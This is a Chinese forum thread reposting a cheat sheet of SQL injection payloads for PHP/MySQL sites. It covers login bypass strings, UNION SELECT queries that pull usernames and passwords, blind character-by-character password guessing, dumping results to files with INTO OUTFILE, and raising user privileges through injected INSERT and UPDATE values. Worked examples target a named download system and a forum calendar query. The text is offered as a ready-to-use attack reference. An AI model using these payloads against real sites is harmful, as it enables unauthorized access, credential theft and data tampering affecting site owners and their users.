发新话题
打印

[转载]php Injection库总结

[转载]php Injection库总结

信息来源:海洋之星论坛

' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111  (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version()  (灵活应用查询)
常用查询测试语句,
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50  (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………

例如2:灰色轨迹 变换id进行测试(meteor)
union%20(SELECT%20allowsmilies,public,userid,&#39;0000-0-0&#39;,user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
union%20(SELECT%20allowsmilies,public,userid,&#39;0000-0-0&#39;,pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
构造语句:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
UNION%20(SELECT%201,0,2,&#39;1999-01-01&#39;,&#39;a&#39;,password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,&#39;1999-01-01&#39;,&#39;a&#39;,password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,&#39;1999-01-01&#39;,&#39;a&#39;,userid%20FROM%20user%20WHERE%20username=&#39;sandflee&#39;)%20order%20by%20eventdate (查沙子的id)



(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid=&#39;$id&#39; UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交)
SELECT * FROM article WHERE articleid=&#39;$id&#39; UNION SELECT 1,1,1,1,1,1,1 FROM……(不同的情况下)

特殊技巧:在表单,搜索引擎等地方写:
“___”
“.__ ”
“%
%&#39; ORDER BY articleid/*
%&#39; ORDER BY articleid#
__&#39; ORDER BY articleid/*
__&#39; ORDER BY articleid#

$command = "dir c:\";system($command);
SELECT * FROM article WHERE articleid=&#39;$id&#39;
SELECT * FROM article WHERE articleid=$id
1&#39; and 1=2 union select * from user where userid=1/* 句中变为
(SELECT * FROM article WHERE articleid=&#39;1&#39; and 1=2 union select * from user where userid=1/*&#39;)
1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default &#39;&#39;,
`password` varchar(20) NOT NULL default &#39;&#39;,
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, &#39;swap&#39;, &#39;mypass&#39;);


插如一个注册用户:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (&#39;&#39;, &#39;$username&#39;, &#39;$password&#39;, &#39;$homepage&#39;, &#39;1&#39;);
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES (&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,&#39;1&#39;)";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES (&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;3&#39;)#&#39;,&#39;1&#39;)
"INSERT INTO membres SET login=&#39;$login&#39;,password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39;";
INSERT INTO membres SET login=&#39;&#39;,password=&#39;&#39;,nom=&#39;&#39;,userlevel=&#39;3&#39;,email=&#39;&#39;
"INSERT INTO membres VALUES (&#39;$id&#39;,&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,&#39;1&#39;)";

UPDATE user SET password=&#39;$password&#39;, homepage=&#39;$homepage&#39; WHERE id=&#39;$id&#39;
UPDATE user SET password=&#39;MD5(mypass)&#39; WHERE username=&#39;admin&#39;#)&#39;, homepage=&#39;$homepage&#39; WHERE id=&#39;$id&#39;
"UPDATE membres SET password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39; WHERE id=&#39;$id&#39;";
UPDATE membres SET password=&#39;[PASS]&#39;,nom=&#39;&#39;,userlevel=&#39;3&#39;,email=&#39; &#39; WHERE id=&#39;[ID]&#39;
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews=&#39;$id&#39;";

长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如:
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "SELECT * FROM membres WHERE name LIKE &#39;%$search%&#39; ORDER BY name";
SELECT * FROM membres WHERE name LIKE &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name
SELECT * FROM membres WHERE name LIKE &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name
SELECT uid FROM admins WHERE login=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; AND password=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; (经典)
SELECT uid FROM admins WHERE login=&#39;&#39; OR admin_level=1#&#39; AND password=&#39;&#39;
SELECT * FROM table WHERE msg LIKE &#39;%hop&#39;
SELECT uid FROM membres WHERE login=&#39;Bob&#39; AND password LIKE &#39;a%&#39;#&#39; AND password=&#39;&#39;
SELECT * FROM membres WHERE name LIKE &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

偶对PHP不熟!!这文章得多看看…………
益友网吧联盟  http://www.96-7.com

TOP

发新话题